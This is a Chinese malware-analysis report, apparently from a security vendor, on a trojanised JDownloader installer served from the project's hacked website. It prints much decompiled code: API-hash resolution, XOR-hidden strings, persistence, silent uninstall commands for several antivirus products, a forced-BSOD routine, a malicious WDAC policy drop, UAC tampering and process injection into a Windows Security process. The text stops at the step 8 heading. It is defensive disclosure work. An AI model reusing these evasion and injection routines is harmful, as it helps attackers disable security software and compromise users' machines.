概述
近日瑞星威胁情报平台捕获到一起针对开源下载管理器JDownloader官方网站的供应链攻击事件。攻击者利用官网CMS系统中的未修补漏洞,将官方下载页面中的安装程序链接替换为指向第三方恶意服务器的重定向地址,向用户投递以PyArmor 8+加密保护的基于Python 3.14的后门木马。Windows版本直接以脚本形式投递,Linux版本则通过PyInstaller打包为ELF二进制文件分发并具备root级持久化机制。此次攻击利用用户对官方分发渠道的信任,属于典型的网站级软件供应链攻击。
事件详情
2026年5月6日,攻击者利用JDownloader官网CMS未修补漏洞,将Windows替代安装程序及Linux Shell脚本的下载链接替换为指向第三方恶意服务器的地址。2026年5月7日,一名Reddit用户发现下载文件被Windows Defender告警后公开披露,开发团队18分钟内关闭网站并展开调查,于5月8日至9日夜间恢复上线。

攻击流程
- Dropper 释放正常安装包(掩护)和第二阶段恶意 EXE
- 第二阶段 EXE 对抗十余款安全软件、投放 WDAC 策略、部署 PyArmor 加密的 Python RAT 并持久化
- Python RAT 通过 DGA/DDR/Tor 三层回退发现 C2,RSA + AES-GCM 加密通信执行远程命令

样本分析
以下按攻击链的三个阶段逐一分析各样本的技术细节。样本中大量使用 XOR 加密隐藏敏感字符串,下表汇总了全文涉及的 XOR 密钥及其用途,正文中不再逐字节展开解密过程。
| XOR 密钥 | ASCII 形式 | 使用阶段 | 用途 |
|---|---|---|---|
{0x66,0x79,0x77,0x6F} |
"fywo" |
第一阶段/第二阶段 | 通用字符串加密(API名、路径、命令行、互斥体名等) |
"ectb" |
"ectb" |
第一阶段 BIN1/BIN2 | 资源数据解密 |
{0x6D,0x6A,0x78,0x73} |
"mjxs" |
第一阶段 | 启动目录路径解密 |
"fywo"(5字节含\0) |
"fywo\0" |
第二阶段 | BIN1/BIN2/BIN3 PyArmor 资源解密 |
注:以下代码块中,
{0x66,0x79,0x77,0x6F}循环 XOR 的字符串解密均标注目标明文,不再逐字节展开。
第一阶段:Windows Dropper (安装程序)
| 字段 | 内容 |
|---|---|
| 原始文件名 | JDownloader2Setup_windows-amd64_v1_8_0_482.exe |
| 文件大小 | 60302 KB |
| 文件MD5 | c19d686e686b6b391a4e6583bc7909fb |
| 文件类型 | EXE |
| 病毒名 | Trojan.Kryptik/x64!1.13E7D |
| 主要功能 | 从资源中解密恶意载荷,释放 JDownloader 安装包(掩护)和第二阶段恶意 EXE |
行为概要:第一阶段 Dropper 通过 PEB->Ldr 遍历模块链表,使用自定义 FNV-1a 哈希(种子 0x4C063041,标准 FNV-1a 种子为 0x811C9DC5,样本使用自定义值以规避基于标准哈希常量的静态检测)动态解析 API 地址,避免导入表暴露敏感 API。按顺序执行:解析 CreateThread → 创建线程执行 Bin1DropperThread → 创建第二个线程执行 Bin2LoaderThread。
API 动态解析
遍历 PEB->Ldr 模块链表,对每个模块的导出函数名计算 FNV-1a 哈希,与目标哈希比对以动态解析 API 地址。这是整个样本中唯一一次完整展示 FNV-1a 解析流程(后续阶段使用相同方式,不再赘述):
// 自定义 FNV-1a 种子 0x4C063041(标准值为 0x811C9DC5),Prime 常数 0x01000193
p_entry = NtCurrentPeb()->Ldr->InLoadOrderModuleList.Flink;
for ( ; ; p_entry = p_entry->Flink )
{
module_base = p_entry->DllBase;
dos_hdr = (IMAGE_DOS_HEADER *)module_base;
nt_hdr = (IMAGE_NT_HEADERS *)(module_base + dos_hdr->e_lfanew);
export_rva = nt_hdr->OptionalHeader.DataDirectory[0].VirtualAddress;
if ( !export_rva )
continue;
p_export = (IMAGE_EXPORT_DIRECTORY *)(module_base + export_rva);
name_count = p_export->NumberOfNames;
if ( !name_count )
continue;
p_names = (DWORD *)(module_base + p_export->AddressOfNames);
p_ordinals = (WORD *)(module_base + p_export->AddressOfNameOrdinals);
p_funcs = (DWORD *)(module_base + p_export->AddressOfFunctions);
while ( name_count-- )
{
fnv_hash = 0x4C063041;
p_func_name = (BYTE *)(module_base + p_names[name_count]);
ch = *p_func_name;
if ( ch )
{
do
{
tmp = ch;
ch = *(++p_func_name);
fnv_hash = 0x01000193 * (fnv_hash ^ tmp);
}
while ( ch );
if ( fnv_hash == 0xD003F015 ) // 目标哈希 = "CreateThread"
{
p_create_thread = module_base + p_funcs[p_ordinals[name_count]];
goto found;
}
}
}
}
found:
BIN1 资源释放(正常 JDownloader 安装包)
调用解析到的 CreateThread 创建线程执行 Bin1DropperThread:
h_thread = p_create_thread(0, 0, Bin1DropperThread, &dw_thread_id, 0, 0);
通过相同 FNV-1a 方式依次解析 GetModuleHandleW、FindResourceW、LoadResource、LockResource、SizeofResource,从当前 PE 提取嵌入资源 BIN1:
h_exe = p_get_module(0);
h_resource = p_find_res(h_exe, "BIN1", 10); // RT_RCDATA
h_data = p_load_res(h_exe, h_resource);
p_resource_buf = p_lock_res(h_data);
resource_size = p_sizeof_res(h_exe, h_resource);
生成随机临时文件路径,若 need_xor 标志置位则用密钥 "ectb" 逐字节 XOR 解密资源数据,写入 %TEMP%\Temp\.exe:
GenerateRandomTempPath(sz_temp_path);
h_file = p_create_file(sz_temp_path, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0);
if ( need_xor )
{
// 修改资源内存页为可读写,以 "ectb" 密钥循环 XOR 解密
p_virtual_protect(p_resource_buf, resource_size, PAGE_EXECUTE_READWRITE, &old_protect);
for ( i = 0; i < resource_size; i++ )
p_resource_buf[i] ^= "ectb"[i % 4];
}
p_write_file(h_file, p_resource_buf, resource_size, 0, 0);
若写入成功,获取 %APPDATA% 路径,拼接 XOR 解密出的 \Roaming\Microsoft\Windows\Start Menu\Programs\Startup 路径,将文件复制到启动目录实现持久化。随后 DeleteFileW 清理临时文件:
if ( b_ok )
{
// SHGetFolderPathW → CSIDL_APPDATA → %APPDATA% 路径
p_sh_folder(0, CSIDL_APPDATA, 0, 0, sz_path);
// XOR 解密启动目录后缀 ({0x6D,0x6A,0x78,0x73} 循环) →
// L"\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
for ( i = 0; i < 55; i++ )
sz_suffix[i] ^= key[i % 4]; // key = {0x6D,0x6A,0x78,0x73}
lstrcatW(sz_path, sz_suffix); // 拼接完整启动目录路径
CopyFileW(sz_temp_path, sz_path, FALSE); // 复制到启动目录
p_delete_file(sz_temp_path);
return 1;
}
若写入失败,直接启动临时文件(正常 JDownloader 安装程序),等待进程结束后清理:
p_close_handle(h_file);
p_delete_file(sz_temp_path);
exec_info.cbSize = sizeof(exec_info);
exec_info.lpFile = sz_temp_path;
exec_info.nShow = SW_SHOW;
p_shell_exec(&exec_info);
p_wait(exec_info.hProcess, INFINITE);
p_close_handle(exec_info.hProcess);
p_close_handle(exec_info.hThread);
BIN2 资源释放(第二阶段恶意 EXE)
BIN1 处理完成后,再次通过 FNV-1a 解析 CreateThread,创建第二个线程执行 Bin2LoaderThread。Bin2LoaderThread 内部流程与 BIN1 完全一致:解析同批 API → 提取资源 "BIN2" → "ectb" 循环 XOR 解密 → 写入临时文件 → 持久化 / ShellExecuteExW 执行第二阶段载荷。启动目录 XOR 解密结果同为 \Roaming\Microsoft\Windows\Start Menu\Programs\Startup,不再赘述。
p_create_thread2 = resolve_by_hash(0x7191549C, 0xF490EE28);
h_thread2 = p_create_thread2(0, 0, Bin2LoaderThread, &dw_param, 0, 0, 0);
阶段衔接:BIN1 释放正常 JDownloader 安装程序作为用户可见的掩护,BIN2 释放第二阶段恶意 EXE 到临时目录并通过
ShellExecuteExW执行。此时用户看到的是正常的 JDownloader 安装界面,恶意载荷已在后台启动。
第二阶段:AV 对抗与 Python 环境部署
基本信息
| 字段 | 内容 |
|---|---|
| 文件大小 | 30737 KB |
| 文件MD5 | 17b52e1b45a31e30f51cd1e08faa2b08 |
| 文件类型 | EXE |
| 病毒名 | Trojan.Agent!1.13E7E |
| 主要功能 | 检测并静默卸载/对抗十余款安全软件,部署 Python 持久化后门 |
功能清单:第二阶段按以下顺序执行 13 个步骤:
- 单实例检查(互斥体
A9A48A31) - 首次运行标记检查(注册表
NoRunTime) - 防火墙/网络监控软件检测(Fort Firewall / Portmaster / simplewall / GlassWire)
- Windows Defender 对抗(终止进程 + 删除 Run 键)
- 第三方 AV 静默卸载(ESET / Malwarebytes / Bitdefender / Kaspersky / Avast-AVG / Avira)
- WDAC 策略投放(BIN5 →
.cip文件,60 条 Deny 规则封杀安全产品) - UWP 进程注入(兜底方案,注入
SecurityHealthUWP 进程借壳运行) - 提权重启(COM Elevation /
runas回退) - Python 3.14 静默安装(MSI 包嵌入 PE 资源)
pip install依赖库安装- PyArmor 运行时部署(BIN1→
runtime.py/ BIN2→__init__.py/ BIN3→.pyd) - 计划任务 + 注册表持久化
- 启动 Python RAT
注意:步骤 3-7 中存在短路逻辑——一旦某个 AV 被成功卸载,样本直接退出(
return 0),不执行后续 AV 检测。仅在所有卸载尝试失败后才进入 UWP 注入兜底。
步骤 1~2:单实例检查与首次运行标记
XOR 解密互斥体名 "A9A48A31",确保单实例运行。首次运行时调用 SetPersistenceRegistry 写入 NoRunTime=1 初始化标记后退出,标记该机器已处理过:
// XOR({0x66,0x79,0x77,0x6F}) → "A9A48A31"
h_mutex = CreateMutexW(NULL, FALSE, g_mutex_name); // g_mutex_name 已 XOR 解密
if ( GetLastError() == 0 ) // 首次运行
{
SetPersistenceRegistry();
ReleaseMutex(h_mutex);
CloseHandle(h_mutex);
return 0;
}
非首次运行时,从 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced 读取 XOR 解密的 "NoRunTime" 值。若已置 1 说明此前已初始化或已检测到安全软件,跳过后续所有检测直接退出:
// XOR({0x66,0x79,0x77,0x6F}) → "NoRunTime"
pv_data = 0;
cb_data = sizeof(DWORD);
// 注册表路径同样 XOR 解密 → "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
RegGetValueW(HKEY_CURRENT_USER, p_reg_path, g_val_name,
RRF_RT_DWORD, NULL, &pv_data, &cb_data);
if ( pv_data == 1 )
return 0; // 已标记, 跳过 AV 检测
步骤 3:防火墙/网络监控软件检测
检测 4 款防火墙/网络监控软件,任一存在则执行注册表持久化后退出:
| 序号 | 软件 | 安装路径 | 类型 |
|---|---|---|---|
| 1 | Fort Firewall | C:\Program Files\Fort Firewall |
防火墙 |
| 2 | Portmaster | C:\Program Files\Portmaster |
网络监控/防火墙 |
| 3 | simplewall | C:\Program Files\simplewall |
防火墙 |
| 4 | GlassWire | C:\Program Files (x86)\GlassWire |
网络监控/防火墙 |
// 每个路径以 XOR({0x66,0x79,0x77,0x6F}) 解密后,检查目录是否存在
attr = GetFileAttributesW(g_av_path); // 各路径已 XOR 解密
if ( attr != INVALID_FILE_ATTRIBUTES && (attr & FILE_ATTRIBUTE_DIRECTORY) )
goto set_persist; // 任意一款命中 → 持久化 + 退出
return 1; // 4 款均未安装 → 继续
set_persist:
SetPersistenceRegistry(); // 写注册表持久化(见下方)
return 0;
SetPersistenceRegistry 注册表持久化
在 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced 下写入 NoRunTime=1,首次运行初始化和检测到安全软件两种场景均走此路径:
dw_data = 1;
// XOR 解密注册表路径 → "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
status = RegCreateKeyExW(HKEY_CURRENT_USER, p_reg_path, 0, NULL, 0,
KEY_SET_VALUE, NULL, &h_key, NULL);
if ( status == ERROR_SUCCESS )
{
// XOR({0x66,0x79,0x77,0x6F}) → "NoRunTime"
RegSetValueExW(h_key, g_val_name, 0, REG_DWORD, (BYTE *)&dw_data, sizeof(DWORD));
RegCloseKey(h_key);
}
主载荷互斥体
XOR 解密互斥体名 "Installer-5F90E1A6" 并创建,防止主载荷多实例运行:
// XOR({0x66,0x79,0x77,0x6F}) → "Installer-5F90E1A6"
CreateMutexW(NULL, FALSE, g_installer_mutex);
步骤 4:Windows Defender 对抗
XOR 解密进程名 "SecurityHealthSystray.exe" 后遍历进程列表,TerminateProcess 终止 Defender 系统托盘进程:
h_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
// XOR({0x66,0x79,0x77,0x6F}) → "SecurityHealthSystray.exe"
pe.dwSize = sizeof(PROCESSENTRY32W);
if ( Process32FirstW(h_snap, &pe) )
{
do
{
if ( StrCmpCaseInsensitive(pe.szExeFile, g_sechealth_name) == 0 )
{
h_proc = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);
if ( h_proc )
{
TerminateProcess(h_proc, 0);
CloseHandle(h_proc);
}
}
}
while ( Process32NextW(h_snap, &pe) );
}
CloseHandle(h_snap);
随后 XOR 解密 Run 键路径和值名 "SecurityHealth",删除 Defender 托盘程序的开机自启动项:
// XOR({0x66,0x79,0x77,0x6F}) → "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
// XOR({0x66,0x79,0x77,0x6F}) → "SecurityHealth"
if ( RegOpenKeyExW(HKEY_LOCAL_MACHINE, g_run_path, 0,
KEY_READ | KEY_WRITE, &h_key) == ERROR_SUCCESS )
{
RegDeleteValueW(h_key, g_val_name);
RegCloseKey(h_key);
}
步骤 5:第三方 AV 静默卸载
ESET 卸载
检测 C:\Program Files\ESET 目录存在后,通过注册表搜索 MSI 卸载包路径,在隐藏桌面 "eset" 中执行 msiexec 静默卸载(/passive /norestart /uninstall)。隐藏桌面机制使卸载窗口对用户不可见:
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Program Files\ESET"
attr = GetFileAttributesW(g_eset_path);
if ( attr != INVALID_FILE_ATTRIBUTES && (attr & FILE_ATTRIBUTE_DIRECTORY) )
{
if ( !UninstallESETViaHiddenDesktop() )
return 0; // 卸载成功 → 退出
av_detected = 1;
}
UninstallESETViaHiddenDesktop 实现——创建隐藏桌面 "eset" + SetThreadDesktop 切换线程 + msiexec 静默卸载:
// XOR({0x66,0x79,0x77,0x6F}) → "ESET Security" → 在注册表搜索匹配的 MSI 包
FindTargetMsiPackage(&msi_path, g_eset_display);
if ( msi_path == NULL )
return 0;
// XOR({0x66,0x79,0x77,0x6F}) → "eset"
h_desk = CreateDesktopW(g_desk_name, NULL, NULL, 0, GENERIC_ALL, NULL);
if ( !h_desk || !SetThreadDesktop(h_desk) )
return 0;
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Windows\System32\msiexec.exe /passive /norestart /uninstall \""
wsprintfW(cmd_line, L"%s%s\"", g_msi_cmd, msi_path);
si.lpDesktop = g_desk_name; // 在隐藏桌面中执行
if ( CreateProcessW(NULL, cmd_line, NULL, NULL, FALSE, CREATE_NO_WINDOW, ...) )
{
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
CloseHandle(h_desk);
return 1; // 卸载成功
}
Malwarebytes 卸载
检测 C:\Program Files\Malwarebytes 目录存在后,调用官方卸载程序 mbuns.exe 静默模式:
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Program Files\Malwarebytes"
attr = GetFileAttributesW(g_mbam_path);
if ( attr != INVALID_FILE_ATTRIBUTES && (attr & FILE_ATTRIBUTE_DIRECTORY) )
{
if ( !UninstallMalwarebytesSilent() )
return 0;
av_detected = 1;
}
UninstallMalwarebytesSilent 实现——拼接命令行 mbuns.exe /uninstall /nosurvey /silent 静默执行:
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Program Files\Malwarebytes\Anti-Malware\mbuns.exe"
// XOR({0x66,0x79,0x77,0x6F}) → " /uninstall /nosurvey /silent"
lstrcpyW(cmd_line, g_mbam_cmd);
lstrcatW(cmd_line, g_mbam_args);
CreateProcessW(NULL, cmd_line, NULL, NULL, FALSE, CREATE_NO_WINDOW, ..., &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
Bitdefender 卸载
检测 C:\Program Files\Bitdefender 目录存在后,从注册表读取 MSI LocalPackage 路径,通过 cmd.exe 静默强制卸载:
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Program Files\Bitdefender"
attr_bd = GetFileAttributesW(g_bd_path);
if ( attr_bd != INVALID_FILE_ATTRIBUTES && (attr_bd & FILE_ATTRIBUTE_DIRECTORY) )
{
if ( !UninstallBitdefenderViaRegistry() )
return 0;
av_detected = 1;
}
UninstallBitdefenderViaRegistry 实现——从用户安装器注册表路径读取 LocalPackage MSI 路径,拼接强制卸载命令:
// XOR({0x66,0x79,0x77,0x6F}) → "LocalPackage"
// XOR({0x66,0x79,0x77,0x6F}) → "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\..."
RegGetValueW(HKEY_LOCAL_MACHINE, g_reg_inst_path, g_local_pkg,
RRF_RT_REG_SZ, NULL, msi_path, &cb_data);
// 拼接命令行: cmd.exe /c "<msi_path>\install" /force /silent /uninstall
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Windows\system32\cmd.exe /c \""
// XOR({0x66,0x79,0x77,0x6F}) → "\install"
// XOR({0x66,0x79,0x77,0x6F}) → "\" /force /silent /uninstall"
WideStrConcatHelper(cmd_line, 515, g_bd_cmd);
WideStrConcatHelper(cmd_line, 515, msi_path);
WideStrConcatHelper(cmd_line, 515, g_bd_sfx);
WideStrConcatHelper(cmd_line, 515, g_bd_args);
CreateProcessW(NULL, cmd_line, NULL, NULL, FALSE, CREATE_NO_WINDOW, ..., &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
Kaspersky 对抗(双重方案)
检测 C:\Program Files (x86)\Kaspersky 目录存在后,调用 AttackKasperskyMultiMethod 执行双重对抗:
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Program Files (x86)\Kaspersky"
attr_kasp = GetFileAttributesW(g_kasp_path);
if ( attr_kasp != INVALID_FILE_ATTRIBUTES && (attr_kasp & FILE_ATTRIBUTE_DIRECTORY) )
{
if ( !AttackKasperskyMultiMethod() )
return 0;
av_detected = 1;
}
方法 1(BSOD 触发):定位 avp.exe 进程后,通过 COM 劫持夺取 C:\Windows\SysWOW64\wtsapi32.dll 文件所有权,设置 DENY ACL 拒绝 SYSTEM 账户访问。Kaspersky 依赖 wtsapi32.dll,访问被拒后触发 BSOD:
// XOR({0x66,0x79,0x77,0x6F}) → "avp.exe"
pid_avp = FindTargetProcess(g_avp_name);
if ( pid_avp )
{
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Windows\SysWOW64\wtsapi32.dll"
if ( TakeOwnershipOfFile(g_wtsapi_path) )
{
GetNamedSecurityInfoW(g_wtsapi_path, SE_FILE_OBJECT,
DACL_SECURITY_INFORMATION, ..., &old_acl, ...);
// 创建 SYSTEM 账户 SID (S-1-5-18)
AllocateAndInitializeSid(&SECURITY_NT_AUTHORITY, 1,
DOMAIN_ALIAS_RID_ADMINS, 0,0,0,0,0,0,0, &p_system_sid);
// 配置 DENY ACE: 拒绝 SYSTEM 对 wtsapi32.dll 的 GENERIC_ALL 访问
ea.grfAccessMode = DENY_ACCESS;
ea.Trustee.ptstrName = (LPWCH)p_system_sid;
SetEntriesInAclW(1, &ea, old_acl, &new_acl);
SetNamedSecurityInfoW(g_wtsapi_path, SE_FILE_OBJECT,
DACL_SECURITY_INFORMATION, ..., new_acl, ...);
// Kaspersky 依赖 wtsapi32.dll → 访问被拒 → BSOD
UacBypassComElevation();
ExtractAndDropResource(0); // 释放资源载荷
TriggerBSOD(); // 触发蓝屏
ExitProcess(0);
}
}
方法 2(MSI 静默卸载备选):遍历 4 种 Kaspersky 产品名在注册表查找卸载包,通过 msiexec /quiet /uninstall 静默卸载:
// 依次尝试 4 种 Kaspersky 产品名 → FindTargetMsiPackage
// XOR({0x66,0x79,0x77,0x6F}) → "Kaspersky Anti-Virus" (变体1)
// XOR({0x66,0x79,0x77,0x6F}) → "Kaspersky Internet Security" (变体2)
// XOR({0x66,0x79,0x77,0x6F}) → "Kaspersky Total Security" (变体3)
// XOR({0x66,0x79,0x77,0x6F}) → "Kaspersky Small Office Security" (变体4)
msi_path = FindTargetMsiPackage(g_kav_disp);
if ( !msi_path ) msi_path = FindTargetMsiPackage(g_kis_disp);
if ( !msi_path ) msi_path = FindTargetMsiPackage(g_kts_disp);
if ( !msi_path ) msi_path = FindTargetMsiPackage(g_ksos_disp);
if ( !msi_path ) return 0;
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Windows\System32\msiexec.exe /quiet /uninstall \""
WideStrConcatHelper(cmd_line, 515, g_msi_cmd);
WideStrConcatHelper(cmd_line, 515, msi_path);
WideStrConcatHelper(cmd_line, 515, g_quote); // XOR → "\""
CreateProcessW(NULL, cmd_line, NULL, NULL, FALSE, CREATE_NO_WINDOW, ..., &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
Avast / AVG 对抗 + WDAC 策略投放
分别检测 C:\Program Files\Avast Software 和 C:\Program Files\AVG\Antivirus 目录。两者共享相同的对抗逻辑——定位对应服务进程后释放恶意 WDAC 策略文件(BIN5 资源):
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Program Files\Avast Software"
attr = GetFileAttributesW(g_avast_path);
if ( attr != INVALID_FILE_ATTRIBUTES && (attr & FILE_ATTRIBUTE_DIRECTORY) )
{
// XOR({0x66,0x79,0x77,0x6F}) → "AvastSvc.exe"
pid = FindTargetProcess(g_svc_name);
goto try_countermeasure;
}
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Program Files\AVG\Antivirus"
attr = GetFileAttributesW(g_avg_path);
if ( attr != INVALID_FILE_ATTRIBUTES && (attr & FILE_ATTRIBUTE_DIRECTORY) )
{
// XOR({0x66,0x79,0x77,0x6F}) → "AVGSvc.exe"
pid = FindTargetProcess(g_svc_name);
goto try_countermeasure;
}
goto no_av_found;
try_countermeasure:
if ( pid )
{
if ( !ExtractAndDropResource(1) ) // 释放 BIN5 → WDAC .cip 策略, 参数1触发 BSOD
return 0;
}
av_detected = 1;
no_av_found:
BIN5:WDAC 策略投放
从自身 PE 提取 BIN5 资源并 XOR 解密(密钥 "fywo"),写入 CodeIntegrity 策略目录作为恶意 WDAC 策略文件。参数非零时通过 UacBypassComElevation + TriggerBSOD 强制重启使策略立即生效:
// XOR({0x66,0x79,0x77,0x6F}) → "BIN5"
h_res = FindResourceW(h_module, g_res_name, RT_RCDATA);
p_res_data = LockResource(LoadResource(h_module, h_res));
res_size = SizeofResource(h_module, h_res);
// XOR 解密资源数据(密钥 "fywo")
VirtualProtect(p_res_data, res_size, PAGE_READWRITE, &old_protect);
for ( i = 0; i < res_size; i++ )
p_res_data[i] ^= "fywo"[i % 4];
// XOR({0x66,0x79,0x77,0x6F}) →
// "C:\Windows\System32\CodeIntegrity\CiPolicies\Active\{31351756-3F24-4963-8380-4E7602335AAE}.cip"
h_file = CreateFileW(g_ci_path, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if ( WriteFile(h_file, p_res_data, res_size, NULL, NULL) )
{
CloseHandle(h_file);
if ( a1 ) // 来自 Avast/AVG 流程 → 触发 BSOD 使策略生效
{
if ( UacBypassComElevation() )
{
TriggerBSOD();
ExitProcess(0);
}
}
}
TriggerBSOD 触发蓝屏
动态加载 ntdll.dll 获取 RtlAdjustPrivilege 函数,启用 SeShutdownPrivilege 特权后调用 NtRaiseHardError 触发系统蓝屏死机(STATUS_FATAL_SYSTEM_ERROR):
// XOR({0x66,0x79,0x77,0x6F}) → "ntdll.dll"
h_ntdll = LoadLibraryW(g_ntdll);
p_rtl_adj_priv = GetProcAddress(h_ntdll, "RtlAdjustPrivilege");
p_nt_raise_err = GetProcAddress(h_ntdll, "NtRaiseHardError");
if ( p_rtl_adj_priv && p_nt_raise_err )
{
enabled = 0;
if ( p_rtl_adj_priv(19, 1, 0, &enabled) >= 0 ) // SeShutdownPrivilege
{
response = 0;
p_nt_raise_err(0xC0000354, 0, 0, 0, 6, &response); // STATUS_FATAL_SYSTEM_ERROR → BSOD
}
}
Avira 检测与 Defender 兜底
检测 C:\Program Files\Avira\Endpoint 目录。若未找到且此前已有其他 AV 被检测到,直接执行 UWP 注入;否则检查 Defender 是否运行并通过 PowerShell 查询 WMI 安全中心确认 AV 数量——仅 Defender 时执行 UWP 注入:
// XOR({0x66,0x79,0x77,0x6F}) → "C:\Program Files\Avira\Endpoint"
attr = GetFileAttributesW(g_avira_path);
if ( attr == INVALID_FILE_ATTRIBUTES || !(attr & FILE_ATTRIBUTE_DIRECTORY) )
{
if ( av_detected ) // 前面已检测到其他 AV
return UwpProcessInjectElevate();
// XOR({0x66,0x79,0x77,0x6F}) → "MsMpEng"
if ( !FindTargetProcess(g_msmpeng) ) // Defender 未运行
return UwpProcessInjectElevate();
// Defender 运行中, PowerShell 查询 WMI 安全中心确认 AV 数量
// XOR({0x66,0x79,0x77,0x6F}) → powershell -Command "Get-CimInstance -Namespace root\SecurityCenter2 ..."
CreateProcessW(NULL, cmd_line, NULL, NULL, FALSE, CREATE_NO_WINDOW, ..., &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
GetExitCodeProcess(pi.hProcess, &exit_code);
if ( exit_code != 10 ) // 10=多AV共存, 非10=仅Defender
return UwpProcessInjectElevate();
}
步骤 7:UWP 进程注入(兜底方案)
UwpProcessInjectElevate 是最终后备注入方案——前面所有 AV 卸载/对抗方法均不适用时,将自身完整 PE 注入微软签名的 SecurityHealth UWP 进程借壳运行,以受信任进程身份规避 Defender 拦截。
第一层判断:Defender 进程是否存在。不存在则改走注册表策略禁用 Defender;存在则检查 TamperProtection 篡改防护状态,若已启用(值为 4)放弃注入走创建挂起进程:
// XOR({0x66,0x79,0x77,0x6F}) → "MsMpEng.exe"
if ( !FindTargetProcess(g_msmpeng_exe) )
{
DisableDefenderRegistry();
return 1;
}
// XOR({0x66,0x79,0x77,0x6F}) → "TamperProtection"
// XOR({0x66,0x79,0x77,0x6F}) → "SOFTWARE\Microsoft\Windows Defender\Features"
pv_data = 0; cb_data = sizeof(DWORD);
if ( RegGetValueW(HKEY_LOCAL_MACHINE, g_def_feat, g_tamper,
RRF_RT_DWORD, NULL, &pv_data, &cb_data) == ERROR_SUCCESS
&& pv_data == 4 ) // TamperProtection 已启用
{
return CreateSuspendedProcess(); // 放弃注入, 创建挂起进程
}
第二层:COM 查找 UWP 包。解密两种可能的 Windows 安全中心 UWP 包族名(Microsoft.SecHealthUI_8wekyb3d8bbwe 和 Microsoft.Windows.SecHealthUI_cw5n1h2txyewy)依次查找:
CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
// 包族名1: XOR({0x66,0x79,0x77,0x6F}) → "Microsoft.SecHealthUI_8wekyb3d8bbwe"
uwp_pkg = FindUwpPackage(g_uwp_pkg1);
if ( !uwp_pkg )
{
// 包族名2: XOR({0x66,0x79,0x77,0x6F}) → "Microsoft.Windows.SecHealthUI_cw5n1h2txyewy"
uwp_pkg = FindUwpPackage(g_uwp_pkg2);
}
if ( !uwp_pkg )
{
CoUninitialize();
return CreateSuspendedProcess(); // 未找到 UWP 包, 回退
}
第三层:通过两个 COM 接口激活 UWP 应用并获取进程 PID,临时将 UAC ConsentPromptBehaviorAdmin 置 0 防止注入弹窗:
// CLSID {B1AEC16F-2383-4852-B0E9-8F0B1DC66B4D} → vtable+24: 用包族名激活 UWP 应用
// CLSID {45BA127D-10A8-46EA-8AB7-56EA9078943C} → vtable+24: 启动 UWP 进程, 获取 PID
CoCreateInstance(&CLSID_UwpActivator, ..., &p_activator);
p_activator->vtable[24 / 8](p_activator, uwp_pkg, 0, 0);
CoCreateInstance(&CLSID_UwpLauncher, NULL, CLSCTX_LOCAL_SERVER, ..., &p_launcher);
p_launcher->vtable[24 / 8](p_launcher, uwp_pkg_appid, 0,
ACTIVATE_OPTION_BACKGROUND, &dw_pid);
// XOR({0x66,0x79,0x77,0x6F}) → "ConsentPromptBehaviorAdmin"
RegGetValueW(HKEY_LOCAL_MACHINE, g_def_feat, g_consent_prompt, RRF_RT_DWORD, ..., &orig_consent, ...);
if ( orig_consent != 0 )
{
new_consent = 0;
RegSetValueExW(h_key, g_consent_prompt, 0, REG_DWORD, (BYTE *)&new_consent, sizeof(DWORD));
}
第四层:进程注入。以完全访问权限打开 UWP 进程,将自身 PE(含重定位修正)写入远程进程的 RWX 内存,以 UwpRemoteThreadCOMSelfDestruct 为入口创建远程线程:
h_proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dw_pid);
// 复制自身 PE 映像
h_self = GetModuleHandleW(NULL);
image_size = nt_hdr->OptionalHeader.SizeOfImage;
p_local = VirtualAlloc(NULL, image_size, MEM_COMMIT, PAGE_READWRITE);
memcpy(p_local, (void *)h_self, image_size);
// 在 UWP 远程进程中分配 RWX 内存
p_remote = VirtualAllocEx(h_proc, NULL, image_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// PE 基址重定位: 计算基址差, 遍历 .reloc 表逐项修复
delta = (BYTE *)p_remote - (BYTE *)h_self;
reloc = (IMAGE_BASE_RELOCATION *)((BYTE *)p_local
+ nt_hdr->OptionalHeader.DataDirectory[5].VirtualAddress);
while ( reloc->SizeOfBlock )
{
count = (reloc->SizeOfBlock - 8) / sizeof(WORD);
for ( j = 0; j < count; j++ )
{
type = reloc->TypeOffset[j] >> 12;
offset = reloc->TypeOffset[j] & 0xFFF;
if ( type == IMAGE_REL_BASED_DIR64 )
*(UINT64 *)((BYTE *)p_local + reloc->VirtualAddress + offset) += delta;
}
reloc = (IMAGE_BASE_RELOCATION *)((BYTE *)reloc + reloc->SizeOfBlock);
}
// 写入并创建远程线程
WriteProcessMemory(h_proc, p_remote, p_local, image_size, NULL);
CreateRemoteThread(h_proc, NULL, 0,
(LPTHREAD_START_ROUTINE)((BYTE *)UwpRemoteThreadCOMSelfDestruct + delta),
NULL, 0, NULL);
远程线程初始化后,恢复 UAC 设置到原始值消除痕迹,最后创建挂起进程继续后续攻击链。
步骤 8:提权重启
域管理员身份判断
